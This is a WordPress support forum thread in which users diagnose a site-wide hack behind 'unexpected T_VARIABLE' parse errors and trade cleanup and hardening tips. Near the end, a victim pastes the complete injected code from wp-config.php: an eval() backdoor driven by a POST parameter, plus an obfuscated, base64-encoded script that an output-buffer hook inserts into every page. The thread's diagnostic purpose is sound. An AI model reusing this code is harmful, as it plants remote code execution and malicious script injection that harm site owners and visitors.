I recently starting seeing the following error whenever accessing my blog...
Parse error: syntax error, unexpected T_VARIABLE in /home/motley3/public_html/blog/index.php on line 1
Any ideas/solutions???
Thanks
I recently starting seeing the following error whenever accessing my blog...
Parse error: syntax error, unexpected T_VARIABLE in /home/motley3/public_html/blog/index.php on line 1
Any ideas/solutions???
Thanks
Try changing to the default theme and see if the problem disappears.
Thanks esmi... but unfortunately I can't even get into the admin (wp-admin) section of my blog.
Any other ideas???
Parse error: syntax error, unexpected T_VARIABLE in /home/motley3/public_html/blog/index.php on line 1
What version of WordPress are you using?
It could be something silly like an empty space in the index.php...
Open the file and see if theres any extra lines at the end or start...
Before the first
<?php
and after the last..
?>
If so delete the extra line/space, save and try again....
I could be totally wrong of course, but i've had that happen, and removing the space did help... worth a shot!.. :)
I have the exact same problem since yesterday.. can't access admin or main page right now... help!
When I go on the main page it's completely white, page source is empty.
When I go in the admin panel it says :
Parse error: syntax error, unexpected T_VARIABLE in /home/xxxxx/public_html/xxxxx.com/wp-config.php on line 1
Hey esmi... I'm not sure which version, but I know it's not the latest.
t31os... Thanks for the suggestion. I checked the index.php file and no spaces before or after the tags you mentioned. So that wasn't it.
matduke... strange how this just happened to both of us. Do you know what version of WordPress you're using?
funkyblog,
paste the contents of this file:
/home/motley3/public_html/blog/index.php
for us here please.
pretty sure I have the last one. I'm pretty sure we both got hacked. I am with Cirtex Hosting, you?
@matduke: Different file. Do you have a local copy of your wp-config.php file? If not grab a copy of wp-config-sample.php from a download that matches your WordPress version. Re-construct your wp-config.php file and upload it to your wordpress folder.
Ok I'll try this. However I think maybe more files were infected.
<?php if(!function_exists('tmp_lkojfghx'))
This is the beginning of the apparently injected code in config.php
matduke, and youre hacked.
thats why its nice to paste whats in the file. Like Ive asked the other person to do.
Do you think my SQL databases were touched?
I'm quite new to WordPress, and I don't know where to start to get how out this mess... :(
I'm almost certain I'm running 2.7.1...
Readme says 2.7 but I checked 2.7.1 readme and it also says 2.7.1.. I installed it quite recently too. Maybe it's a plug-in that caused it.
Anyways, now I need to get it back up and pray I didn't lose anything =/
Yeah, actually, it looks to be a very common hack.
It's googlable, and here's some other threads on here, even:
http://wordpress.org/search/tmp_lkojfghx?forums=1
I knew I recognized it.
If you google it, its not specific to wordpress, either. Im inclined to think these are server issues more than anything. (like the ixhosting issue)
do an nslookup on your domain name, and give me the IP -- Om wondering if I might find other sites on the same server with your problem.
67.159.44.19
Funnily, right now it's down. First time I'm there to see it down in 2 years. Just when I was trying to fix my blog.
do an nslookup on your domain name, and give me the IP -- Om wondering if I might find other sites on the same server with your problem.
nevermind on that, I found your blog (lolita). Off to find other sites.
its blank for me .. but thats your site not the server. look at your wp-admin/
Apparently my IP must be banned because I can't access the FTP or site anymore for now about 30 minutes. But last time I went to admin it gave me the
unexpected T_VARIABLE in /home/xxxxx/public_html/xxxxx.com/wp-config.php on line 1
It's quite worrying if you tell me you're actually able to get on the site to see the blank page and not me.
wow, heres a 2.2 wordpress install on the same server as you, and it looks clean,
amazing.
// I have found one other broken wordpress blog on that server though. Chaka Khan's official web site is on that server too.
i see a white (blank) page @ http://www.adventure-world-travel.com/ .. thats correct.
when you get back access to your files, I would love to see copys of your server logs, If you dont mind.
there must be some things that I didn't do to secure my wordpress properly :(
now I need to wait for customer support from my hosting provider, because my IP definately is banned from every parts of the server.
sighz. I searched a bit about this hack, but couldn't find out... do you think I will lose the posts that are there right now?
do you think I will lose the posts that are there right now?
No, I dont. Unless your host does something rash or stupid.
I was out for a while but looks like you guys came up with the answer to what's going on. I think somehow I got hacked as well. Bastards!
I'm slowly going thru my .php files and removing that code at the beginning of each file. Not sure how many are affected, but I've gone thru about 10 so far. Hope this works.
Can anyone tell me how this may have happened and the best way to prevent it from ever happening again???
Thanks
Well... this also sux... my blog is up now, but my main website is not coming up. I just get a completely blank page. What's up??? Did I accidentally change the wrong file??? All the files I modified to fix my blog were .php files in my "blog" subdirectory.
Hope someone has an answer to this problem also.
I'd really like to know how that initial hack happened and what I can do to prevent it in the future.
BTW, does WordPress have a phone # for customer support?
Check the files on your main site. They could also have been altered.
Thanks esmi.
Do you (or anyone else) know how to get a backup version of WordPress files?
Finally fixed the whole thing, cleaning files one by one. Now what to do to prevent this from happening again? I'm guessing the hacker does not have my password or anything like that? I have WP 2.7.1, so eh, do I need to change some permissions?
Yes, you can surely take some measures.
1) Password protect your wp-admin directory
2) Use a strong password for FTP and hosting control panel
3) Rename the wp-admin folder (http://www.bestwpthemez.com/wordpress/how-to-hide-your-wp-admin-login-page-2437/)
Some other tips can be seen from here:
I'm using WP 2.7.1 and my server is with GoDaddy.
This happened to me last night exactly the same as it did to funkyblog. My error is:
Parse error: parse error, unexpected T_VARIABLE in /home/content/d/a/l/dalefletcher3/html/new/wp-config.php on line 1
This is on my pages and when I try to login to the admin area.
Please help. Below is the wp.config file. Thanks
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCdRR2IlM0N3TG1zdWNjcmlwd0xtdHVjJTIwc3J3TG1jJTNEd0xtJTJGJTJGOXgwVzQ2QyUyRXVjMlFHYjQ3JTJFdWMyU2poJTJFdWMxdWM5eDBXNWFFJTJGamJoZXE2Q3V4MFdlclFHYnklMkU2Q2pzJTNFJTNDJTJGYUVzY3gwV3J3TG1pcGJoZXR1YyUzRScpLnJlcGxhY2UoL1FHYnx1Y3w2Q3xhRXxTamh8d0xtfGJoZXx4MFd8SVIvZywiIikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php
/**
This topic has been closed to new replies.